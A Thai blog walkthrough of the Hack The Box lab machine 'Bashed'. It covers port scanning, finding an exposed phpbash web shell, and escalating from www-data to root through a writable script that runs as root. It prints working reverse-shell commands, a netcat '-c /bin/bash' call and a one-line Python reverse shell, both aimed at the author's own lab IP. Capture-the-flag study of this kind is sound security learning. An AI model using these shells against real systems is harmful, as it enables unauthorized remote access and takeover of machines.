Bashed — Hack The Box

โดย admin

2 นาที
แชร์
Blog Thumbnail

Bashed — Hack The Box


สวัสดีครับคุณผู้อ่านทุกคน วันนี้ผมจะพาไปลับสมองประลองปัญญากับโจทย์ Bashed ใน Hack The Box กันครับ ซึ่งเป็นโจทย์ที่ถือว่าอยู่ในระดับที่ง่าย มี OS เป็น Linux และจัดอยู่ในหมวด Machine ที่ Retired แล้ว ดังนั้นการจะเข้ามาทำโจทย์ Bashed นั้นจำเป็นต้อง มี VIP ของ Hack The Box ก่อนนะครับ ไปเริ่มกันเลยครับ

Enumeration

NMAP — Network Scanner

เป็นการสแกนเพื่อหา พอร์ตที่เครื่องเซิร์ฟเวอร์เปิดอยู่ เพื่อที่เราจะหาช่องทางการโจมตี โดยคำสั่งมีดังนี้

nmap {target IP} -sV

  • -sV คือ ตัวเลือกที่เราใช้เพื่อแสดงเวอร์ชันของเซอร์วิสที่พอร์ตใช้งานอยู่
  • {target IP} คือ เป้าหมายที่เราต้องการสแกน

เมื่อเรารู้ถึงพอร์ตที่เปิดแล้วก็ดูว่าเราสามารถทำอะไรกับพอร์ตนั้นได้บ้าง โดยพอร์ต 80 คือพอร์ตที่ให้บริการ HTTP เว็บเซิร์ฟเวอร์ เวอร์ชันของเว็บเซิร์ฟเวอร์คือ Apache httpd 2.4.18 ซึ่งเมื่อลองเปิดเว็บเบราว์เซอร์ด้วย IP เป้าหมาย จะพบกับหน้าเว็บเป้าหมาย ดังรูป

จากการสำรวจหน้าเว็บเพจของเป้าหมาย เราได้พบเบาะแสที่จะนำเราไปต่อได้ คือลิงก์ https://github.com/Arrexel/phpbash ที่อาจจะบอกเราเกี่ยวกับ phpbash เพิ่มเติมได้

และก็ใช่จริง ๆ ด้วยครับ เราได้รู้ว่า phpbash นั้นเป็น “Semi-Interactive Web Shell” ที่สามารถนำไปวางบนเว็บเซิร์ฟเวอร์ที่ต้องการ เพื่อใช้งาน web shell ได้ง่าย ๆ

โดยชื่อไฟล์ของ web shell คือ phpbash.php และ phpbash.min.php ซึ่งสามารถเข้าใช้ web shell ได้ทั้งสองหน้า

Feroxbuster — Dir Scanner

เป็นเครื่องมือที่ใช้สำหรับสแกนหา Web-Content , Directory ซึ่งก็สามารถใช้เครื่องมืออื่นอย่าง Dirbuster , Gobuster ได้เช่นกัน โดยสามารถไปดูเพิ่มเติมได้ที่ https://github.com/epi052/feroxbuster กันได้เลยครับ

ส่วนเหตุผลที่ผมเลือกใช้ Feroxbuster นั้น ก็เพราะตัวเครื่องมือมันมีสีที่ดูง่าย และใช้ Recursive Scan ได้ง่ายดีอีกด้วย

จากนั้นเราได้พบว่า web shell ของ phpbash.php และ phpbash.min.php อยู่บนเครื่องเซิร์ฟเวอร์เป้าหมาย จากการใช้ Feroxbuster สแกน โดยใช้คำสั่งดังนี้

feroxbuster -u http://{target IP}:{Target Port}/ -w {Wordlist} -d4 -e

โดย

  • d4 คือ ระดับความลึกของพาธ Directory ที่จะสแกน โดย 4 คือระดับ 4
  • e คือ ให้แสดงพาธเพิ่มเติม หากสแกนพาธ Directory แล้วเจอการมีอยู่ของไฟล์หรือโฟลเดอร์นั้น ๆ ซึ่งปกติแล้วมันจะไม่แสดง

เมื่อนำ http://10.10.10.68/dev/phpbash.php ไปเปิดบนเว็บเบราว์เซอร์

จะได้หน้าเว็บที่หน้าตาเหมือนเชลล์ของลินุกซ์ที่เราคุ้นเคยกัน ซึ่งแน่นอนว่าสามารถใช้คำสั่งลินุกซ์ได้

แต่จากที่เห็นสิทธิ์ของเรานั้นเป็นแค่ www-data

ซึ่งเป็นที่รู้กันว่า โจทย์ Machine ของ Hack The Box นั้นมี flag หรือธงที่ต้องหาให้เจออยู่ 2 flag ได้แก่ user.txt และ root.txt โดย user.txt สามารถเก็บได้จากสิทธิ์ที่ไม่ใช่ root และ root.txt สามารถเก็บได้เฉพาะสิทธิ์ root เท่านั้น

user.txt สามารถเก็บได้ทันทีที่ “/home/arrexel/user.txt” โดยใช้สิทธิ์ www-data

โดยมีคำสั่งดังนี้

locate user.txtcat /home/arrexel/user.txt

Privilege Escalation

เมื่อเราได้ user.txt มาแล้ว ก็เหลือแค่ตามหาและเก็บ root.txt ซึ่งเพิ่มสิทธิ์จากสิทธิ์ต่ำอย่าง www-data ให้เป็นสิทธิ์สูงสุดอย่าง root เราจะเรียกว่าการทำ Privilege Escalation หรือการยกระดับสิทธิ์

เมื่อรันคำสั่ง sudo -l จะเห็นว่าเราสามารถทำการยกระดับสิทธิ์โดยใช้ NOPASSWD ผ่านผู้ใช้ scriptmanager ได้

เนื่องจาก เราไม่สามารถเปลี่ยนเป็นผู้ใช้ scriptmanager ได้บน web shell ดังนั้นสิ่งที่เราจะทำต่อคือ หาทาง Reverse Shell กลับมายังเครื่องของเราก่อน แล้วเปลี่ยนเป็นผู้ใช้ scriptmanager ก่อนจะยกระดับสิทธิ์

Netcat — Create Connection

และเนื่องจากเราไม่สามารถ ใช้ nc ที่อยู่ในเครื่องเป้าหมายเพื่อการทำ Reverse Shell ได้เพราะไม่สามารถใช้ -e , -c ที่เป็นตัวเลือกสำหรับรันคำสั่งเชลล์ได้ ผมจึงเลือกที่จะทำการโยนไฟล์ไบนารี่ nc.elf จากเครื่องเราไปยังเป้าหมายเพื่อรันแทน

เริ่มด้วยการเปิด HTTP Server ที่พอร์ตใดก็ได้ที่ไม่ได้ใช้งาน ในที่นี้ผมเลือกเป็นพอร์ต 8000

ดาวน์โหลดไฟล์ nc โดยใช้คำสั่ง

wget {Local IP}:{Port}/nc -O nc

  • wget คือโปรแกรมที่ใช้ดาวน์โหลดไฟล์จากเว็บไซต์นั้น ๆ
  • O คือ output file หรือภาษาชาวบ้านคือโหลดไฟล์มาไว้แล้ว แล้วจะให้เก็บเป็นชื่อไฟล์อะไร

เปิด Listener รอรับการเชื่อมต่อ โดยใช้คำสั่ง “nc -lvnp 5555”

Netcat : Listener mode หรือโหมดรอรับการเชื่อมต่อ

  • l คือ รอรับการเชื่อมต่อ Listener mode
  • v คือ แสดงรายละเอียดมากขึ้น
  • n คือ เป็น IP address เท่านั้น
  • p คือ พอร์ตที่รอรับ ซึ่งเซ็ตเป็น 5555

และเชื่อมต่อกลับมายังเครื่องของเรา โดยใช้คำสั่ง

./nc 10.10.14.5 5555 -c /bin/bash

  • c คือ รันคำสั่ง ซึ่งในที่นี้สั่งให้รัน /bin/bash เพื่อเปิด Bash นั่นเอง

เมื่อได้ Reverse Shell แล้ว ก็ลองทำการเปลี่ยนผู้ใช้ และพบว่าสามารถก็ทำการเปลี่ยนผู้ใช้เป็น scriptmanager ได้แล้ววว

จากนั้นเราจะพบไฟล์ที่อาจจะทำให้เรายกระดับสิทธิ์ได้ และผมจะให้ความสนใจกับมันเป็นอันดับแรก เนื่องจากโฟลเดอร์ /scripts และ ไฟล์ /scripts/test.py มีตัวผู้ใช้ scriptmanager เป็นผู้สร้างและมีสิทธิ์ในการอ่าน เขียน และรันไฟล์ได้ นั่นเท่ากับว่า เราสามารถทำสั่งรันไฟล์ที่อยู่ในโฟลเดอร์ /scripts ได้

โดยอาจจะเขียนทับ test.py แล้วรัน หรือสร้างไฟล์ใหม่แล้วรัน ก็ได้เช่นกัน

ซึ่งผมเลือกใช้ Python Reverse Shell จาก https://pentestmonkey.net/

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.5”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”], shell=True);

จากนั้นเลือกที่จะลบ test.py บนเซิร์ฟเวอร์เป้าหมาย และให้เซิร์ฟเวอร์เป้าหมายดาวน์โหลด test.py ที่เราเขียนใหม่ลงไปแทน

เปิด Listener เพื่อรอรับการเชื่อมต่อ โดยใช้คำสั่ง

nc -lvnp 6666

รันคำสั่ง

sudo python test.py

แล้วก็ได้ root

root.txt นั้นอยู่ที่ /root/root.txt

เพียงเท่านี้ก็เป็นอันเสร็จพิธีครับผมมม

Conclusion

สำหรับโจทย์ Bashed ผมคิดว่าเป็นโจทย์ที่ค่อนข้างง่าย ไปจนถึงง่ายมาก เนื่องจากทักษะที่ต้องใช้ มีเพียงการใช้คำสั่ง Linux และการทำ Reverse Shell ก็สามารถผ่านได้อย่างสบาย ๆ ดังนั้น ผมมองว่าเป็นโจทย์ที่สนุกและเพลิดเพลินมากกว่าจะเป็นโจทย์ท้าทาย ซึ่งสามารถนำไปเล่นแก้เบื่อ หรือเอาไว้พักยกจากโจทย์ยาก ๆ ที่พบได้ทั่วไปใน Hack The Box ก็ได้เช่นกัน แต่หากมองในแง่ของการพัฒนาทักษะ ผมคิดว่ายังคงมีโจทย์ที่ยาก และท้าทายกว่านี้อีกเยอะรอให้เราไปลองตะลุยกัน สำหรับมือใหม่ที่ผ่านทางมาก็หวังว่าจะได้รับประโยชน์จากบทความนี้ไม่มากก็น้อยนะครับ แล้วเจอกันครั้งหน้าครับผมมมมมม

แชร์
กลับไปด้านบน

บทความที่เกี่ยวข้อง

อัปเดตข้อมูลด้านไซเบอร์ ทุกสัปดาห์
รับข่าวสารความรู้เชิงลึกเกี่ยวกับความปลอดภัยไซเบอร์จากดาต้าฟาร์มก่อนใคร

ฟีเจอร์นี้จะเปิดให้ใช้งานเร็ว ๆ นี้ โปรดติดตาม

ส่งสัปดาห์ละ 1 ครั้ง ไม่มีสแปม ยกเลิกการรับข่าวสารได้ทุกเมื่อ